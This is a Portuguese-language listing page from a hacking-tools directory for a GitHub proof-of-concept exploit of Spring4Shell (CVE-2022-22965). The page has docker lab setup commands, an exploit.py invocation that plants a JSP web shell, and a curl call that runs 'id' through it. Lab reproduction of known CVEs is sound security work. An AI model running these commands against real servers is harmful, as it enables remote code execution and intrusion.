Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22965 — RCE do Spring Framework via Data Binding em JDK 9+ / spring4shell / CVE-2022-22965 | Kitploit
Ferramentas/GitHubGitHub/me2nuk/cve-2022-22965
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubme2nuk/cve-2022-22965

CVE-2022-22965

RCE do Spring Framework via Data Binding em JDK 9+ / spring4shell / CVE-2022-22965

Ver Repositório
1486há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Spring4Shell(CVE-2022-22965)

RCE no Spring Framework via Data Binding em JDK 9+ / spring4shell / CVE-2022-22965

Demonstração do Exploit Spring4Shell(CVE-2022-22965)

https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4

Compilação

docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965

POC

python3 -m pip install -r requirements.txt
python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"
curl http://localhost:8080/cmd.jsp?cmd=id

Referências

  • https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
  • https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md
  • https://github.com/lunasec-io/Spring4Shell-POC
Baixar ferramenta